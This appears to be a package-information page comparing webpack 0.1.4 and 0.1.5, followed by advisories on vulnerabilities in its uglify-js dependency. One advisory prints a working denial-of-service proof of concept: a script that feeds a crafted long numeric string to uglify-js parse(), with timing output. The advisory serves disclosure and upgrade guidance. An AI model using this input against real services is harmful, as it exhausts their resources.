Webpack versions 0.1.4 and 0.1.5 represent early iterations of this powerful module bundler, crucial for modern web development. Both versions provide the core functionality of packing CommonJs modules for browser deployment, enabling developers to split codebases into manageable bundles for on-demand loading. This significantly improves initial load times and optimizes resource utilization, particularly vital for larger, more complex web applications.
The dependencies remain consistent between the two versions, relying on Esprima for JavaScript parsing, Optimist for command-line argument parsing, and Uglify-js for code minification, ensuring a stable foundation for module bundling. Development dependencies also remain unchanged, utilizing Vows for testing, highlighting a consistent testing approach.
The key difference lies in the release date: version 0.1.5 was released approximately two hours after version 0.1.4. While the changelog isn't available here, bug fixes or minor enhancements are the likely reason for the update. Developers using version 0.1.4 should consider upgrading to 0.1.5 to benefit from any potential patches. Both versions, though dated, illustrate the foundational principles of Webpack. Consider exploring current versions of webpack for the best results.
All the vulnerabilities related to the version 0.1.5 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.